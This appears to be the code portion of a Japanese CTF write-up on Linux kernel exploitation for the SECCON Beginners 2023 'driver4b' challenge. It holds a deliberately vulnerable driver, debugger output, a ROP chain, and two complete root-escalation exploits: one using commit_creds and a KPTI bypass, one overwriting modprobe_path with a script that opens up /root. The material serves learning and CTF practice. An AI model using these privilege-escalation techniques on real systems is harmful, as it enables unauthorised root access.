sec4b-2023 の driver4b で Linux のカーネルエクスプロイトに入門してみる

sudo apt install make binutils build-essential diffutils gcc g++ patch gzip bzip2 perl tar cpio unzip rsync file bc findutils wget -y

# ビルドオプションの設定
make qemu_x86_64_defconfig
make menuconfig

# Linux カーネルのビルド
sudo su
make

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost

# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh

# Cleanup
umount /proc
poweroff -d 0 -f

mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

# SMEP が有効かを確認する
cat /proc/cpuinfo | grep smep

mov esp, 0x12345678; ret;

# SMAP が有効かを確認する
cat /proc/cpuinfo | grep smap

# swapgs_restore_regs_and_return_to_usermode のアドレスを特定
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode

# kASLR が無効化されていればアドレスは固定になる
cat /proc/kallsyms

# bzImage を展開する
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux

# cpio ファイルを展開する(root)
mkdir root
cd root; cpio -idv < ../rootfs.cpio

# エクスプロイトの配置
gcc -static ../pwn.c -o ./pwn

# Exploitの配置後(root)
find . -print0 | cpio -o --format=newc --null > ../rootfs.cpio

#!/bin/sh
timeout --foreground 300 qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
    -no-reboot \
    -cpu kvm64 \
    -monitor /dev/null \
    -net nic,model=virtio \
    -net user

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost

# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh

# Cleanup
umount /proc
poweroff -d 0 -f

cat /proc/kallsyms | grep ctf4b
>
ffffffffc0000010 t module_open  [ctf4b]
ffffffffc0000030 t module_ioctl [ctf4b]
ffffffffc00000e0 t module_cleanup       [ctf4b]
ffffffffc00000c0 t module_close [ctf4b]
ffffffffc0000000 t __pfx_module_open    [ctf4b]
ffffffffc0000020 t __pfx_module_ioctl   [ctf4b]
ffffffffc00000b0 t __pfx_module_close   [ctf4b]
ffffffffc00000e0 t cleanup_module       [ctf4b]
ffffffffc00000d0 t __pfx_cleanup_module [ctf4b]

// ctf4b.h
#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define CTF4B_MSG_SIZE 0x100

// ctf4b.c
#include "ctf4b.h"
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("pwnyaa");
MODULE_DESCRIPTION("SECCON Beginners CTF 2023 Online");

char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";

/**
 * Open this driver
 */
static int module_open(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Close this driver
 */
static int module_close(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

module_init(module_initialize);
module_exit(module_cleanup);

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

int fd;
fd = open("/dev/ctf4b", O_RDWR);
if (fd == -1) fatal("/dev/ctf4b");

if (ioctl(fd, CTF4B_IOCTL_STORE, "AAAAAAAA") == -1) {
    perror("ioctl");
    exit(1);
}

if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
    perror("ioctl");
    exit(1);
}

static void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_rsp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep commit_creds

cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff818017e0 T swapgs_restore_regs_and_return_to_usermode

$ x/100i 0xffffffff818017e0
   0xffffffff818017e0:  jmp    0xffffffff818017fb
   0xffffffff818017e2:  mov    ecx,0x48
   0xffffffff818017e7:  mov    rdx,QWORD PTR gs:0x1bcf0
   0xffffffff818017f0:  and    edx,0xfffffffe
   0xffffffff818017f3:  mov    eax,edx
   0xffffffff818017f5:  shr    rdx,0x20
   0xffffffff818017f9:  wrmsr
   0xffffffff818017fb:  pop    r15
   0xffffffff818017fd:  pop    r14
   0xffffffff818017ff:  pop    r13
   0xffffffff81801801:  pop    r12
   0xffffffff81801803:  pop    rbp
   0xffffffff81801804:  pop    rbx
   0xffffffff81801805:  pop    r11
   0xffffffff81801807:  pop    r10
   0xffffffff81801809:  pop    r9
   0xffffffff8180180b:  pop    r8
   0xffffffff8180180d:  pop    rax
   0xffffffff8180180e:  pop    rcx
   0xffffffff8180180f:  pop    rdx
   0xffffffff81801810:  pop    rsi
   0xffffffff81801811:  mov    rdi,rsp
   0xffffffff81801814:  mov    rsp,QWORD PTR gs:0x6004
   0xffffffff8180181d:  push   QWORD PTR [rdi+0x30]
   0xffffffff81801820:  push   QWORD PTR [rdi+0x28]
   0xffffffff81801823:  push   QWORD PTR [rdi+0x20]
   0xffffffff81801826:  push   QWORD PTR [rdi+0x18]
   0xffffffff81801829:  push   QWORD PTR [rdi+0x10]
   0xffffffff8180182c:  push   QWORD PTR [rdi]
   0xffffffff8180182e:  push   rax
   0xffffffff8180182f:  xchg   ax,ax
   0xffffffff81801831:  mov    rdi,cr3
   0xffffffff81801834:  jmp    0xffffffff8180186a
   0xffffffff81801836:  mov    rax,rdi
   0xffffffff81801839:  and    rdi,0x7ff
   0xffffffff81801840:  bt     QWORD PTR gs:0x20ad6,rdi
   0xffffffff8180184a:  jae    0xffffffff8180185b
   0xffffffff8180184c:  btr    QWORD PTR gs:0x20ad6,rdi
   0xffffffff81801856:  mov    rdi,rax
   0xffffffff81801859:  jmp    0xffffffff81801863
   0xffffffff8180185b:  mov    rdi,rax
   0xffffffff8180185e:  bts    rdi,0x3f
   0xffffffff81801863:  or     rdi,0x800
   0xffffffff8180186a:  or     rdi,0x1000
   0xffffffff81801871:  mov    cr3,rdi
   0xffffffff81801874:  pop    rax
   0xffffffff81801875:  pop    rdi
   0xffffffff81801876:  swapgs
   0xffffffff81801879:  jmp    0xffffffff81801896

unsigned long rop_bypass_kpti = 0xffffffff81801811;

# ROP chain の探索
ROPgadget --binary vmlinux > ropchain

pop rdi; ret;
pop rcx; ret;
mov rdi, rax; rep movsq [rdi], [rsi]; ret;
swapgs; ret;
iretq

// v6.1.33 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);
    {{ 省略 }}
    
// v6.2 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	if (WARN_ON_ONCE(!daemon))
		return NULL;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	old = get_task_cred(daemon);
	validate_creds(old);

	*new = *old;
    {{ 省略 }}

unsigned long *chain = buf;
*chain++ = rop_pop_rdi;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef; // [rdi]
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs;             // [rdi+0x18]
*chain++ = user_rflags;         // [rdi+0x20]
*chain++ = user_rsp;            // [rdi+0x28]
*chain++ = user_ss;             // [rdi+0x30]

struct cred init_cred = {
	.usage			= ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
	.subscribers		= ATOMIC_INIT(2),
	.magic			= CRED_MAGIC,
#endif
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,
	.securebits		= SECUREBITS_DEFAULT,
	.cap_inheritable	= CAP_EMPTY_SET,
	.cap_permitted		= CAP_FULL_SET,
	.cap_effective		= CAP_FULL_SET,
	.cap_bset		= CAP_FULL_SET,
	.user			= INIT_USER,
	.user_ns		= &init_user_ns,
	.group_info		= &init_groups,
	.ucounts		= &init_ucounts,
};

RCU_POINTER_INITIALIZER(real_cred, &init_cred),
RCU_POINTER_INITIALIZER(cred, &init_cred),

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu		*ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu		*real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu		*cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key			*cached_requested_key;
#endif

/*
 * executable name, excluding path.
 *
 * - normally initialized setup_new_exec()
 * - access it with [gs]et_task_comm()
 * - lock it with task_lock()
 */
char				comm[TASK_COMM_LEN];

struct nameidata		*nameidata;

struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
	struct tty_struct *tty;

	tty = kzalloc(sizeof(*tty), GFP_KERNEL_ACCOUNT);
	if (!tty)
		return NULL;

	kref_init(&tty->kref);
	if (tty_ldisc_init(tty)) {
		kfree(tty);
		return NULL;
	}

$ cat /proc/kallsyms | grep tty_struct
ffffffff813c9750 T __pfx_alloc_tty_struct
ffffffff813c9760 T alloc_tty_struct

$ x/100i 0xffffffff813c9760
   0xffffffff813c9760:  nop    WORD PTR [rax]
   0xffffffff813c9764:  push   rbp
   0xffffffff813c9765:  mov    edx,0x2b8
   0xffffffff813c976a:  mov    rbp,rsp
   0xffffffff813c976d:  push   r14
   0xffffffff813c976f:  push   r13
   0xffffffff813c9771:  mov    r13d,esi
   0xffffffff813c9774:  mov    esi,0x400dc0
   0xffffffff813c9779:  push   r12
   0xffffffff813c977b:  push   rbx
   0xffffffff813c977c:  mov    rbx,rdi
   0xffffffff813c977f:  sub    rsp,0x10
   0xffffffff813c9783:  mov    rdi,QWORD PTR [rip+0x8627a6]        # 0xffffffff81c2bf30
   0xffffffff813c978a:  mov    rax,QWORD PTR gs:0x28
   0xffffffff813c9793:  mov    QWORD PTR [rbp-0x28],rax
   0xffffffff813c9797:  xor    eax,eax
   0xffffffff813c9799:  call   0xffffffff8114f9b0
   0xffffffff813c979e:  mov    r12,rax
   0xffffffff813c97a1:  test   rax,rax
   0xffffffff813c97a4:  je     0xffffffff813c99b6
   0xffffffff813c97aa:  mov    DWORD PTR [rax],0x1

(gdb) find /g 0xffff8880024419c0,0xffff88800fffffff,0x0000000000000004,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x000001ffffffffff
// 省略
(gdb) x/21gx 0xffff88800321d780
0x0000000000000004      
0x0000000000000000
0x0000000000000000      
0x0000000000000000
0x0000000000000000     
0x0000000000000000
0x000001ffffffffff      
0x000001ffffffffff
0x000001ffffffffff      
0x0000000000000000
0xffffffff81e38bc0      
0xffffffff81e38c60
0xffffffff81e39f00      
0xffffffff81e396c0
0x0000000000000000      
0x0000000000000000
0x0000000000000001
0xffff888003252900
0xffff8880030e0bc8      
0xffff888003252f18
0x0000000000000000

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define CTF4B_MSG_SIZE 0x100

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long commit_creds = 0xffffffff81093d50;
unsigned long init_cred = 0xffff88800321d780;
unsigned long rop_bypass_kpti = 0xffffffff81801811;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff818017e0;

#define TARGET 0xffffc9000017fea8

static void win() {
  puts("[*] Hello from user land!");
  uid_t uid = getuid();
  if (uid == 0) {
      printf("[+] UID: %d, got root!\n", uid);
  } else {
      printf("[!] UID: %d, we root-less :(!\n", uid);
      exit(-1);
  }
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  execve("/bin/sh", argv, envp);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
    save_state();

    int fd;
    fd = open("/dev/ctf4b", O_RDWR);
    if (fd == -1) fatal("/dev/ctf4b");

    unsigned int buf;
    buf = (unsigned int*)malloc(CTF4B_MSG_SIZE);
    unsigned long *chain = buf;
    *chain++ = rop_pop_rdi;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = rop_bypass_kpti;
    *chain++ = 0xdeadbeef; // [rdi]
    *chain++ = 0xdeadbeef;
    *chain++ = (unsigned long)&win; // [rdi+0x10]
    *chain++ = user_cs;             // [rdi+0x18]
    *chain++ = user_rflags;         // [rdi+0x20]
    *chain++ = user_rsp;            // [rdi+0x28]
    *chain++ = user_ss;             // [rdi+0x30]

    if (ioctl(fd, CTF4B_IOCTL_STORE, buf) == -1) {
        perror("ioctl");
        exit(1);
    }

    if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
        perror("ioctl");
        exit(1);
    }

    close(fd);
    return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>


#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define modprobe_path_addr 0xffffffff81e3a080 

int main(int argc, char *argv[])
{
    int fd; 
    int cmd; 
    

    fd = open("/dev/ctf4b", O_RDWR);
    if (fd == -1) {
        perror("open");
        exit(1);
    }

    char evilpath[] = "/tmp/evil.sh";

    if (ioctl(fd, CTF4B_IOCTL_STORE, evilpath) == -1) {
        perror("ioctl");
        exit(1);
    }

    if (ioctl(fd, CTF4B_IOCTL_LOAD, modprobe_path_addr) == -1) {
        perror("ioctl");
        exit(1);
    }
    
    system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
    system("chmod +x /tmp/evil.sh");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    system("/tmp/pwn");

    close(fd);
    return 0;
}

search "/sbin/modprobe"
>
Searching for value: '/sbin/modprobe'
0xffff888001e3a080 '/sbin/modprobe'
0xffffffff81e3a080 '/sbin/modprobe'

/*
	modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;

int __request_module(bool wait, const char *fmt, ...)
{
	va_list args;
	char module_name[MODULE_NAME_LEN];
	int ret;

	/*
	 * We don't allow synchronous module loading from async.  Module
	 * init may invoke async_synchronize_full() which will end up
	 * waiting for this task which already is waiting for the module
	 * loading to complete, leading to a deadlock.
	 */
	WARN_ON_ONCE(wait && current_is_async());

	if (!modprobe_path[0])
		return -ENOENT;

    {{ 中略 }}
    
	ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

	atomic_inc(&kmod_concurrent_max);
	wake_up(&kmod_wq);

	return ret;
}
EXPORT_SYMBOL(__request_module);

system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");

system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");

# Static modprobe_path
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"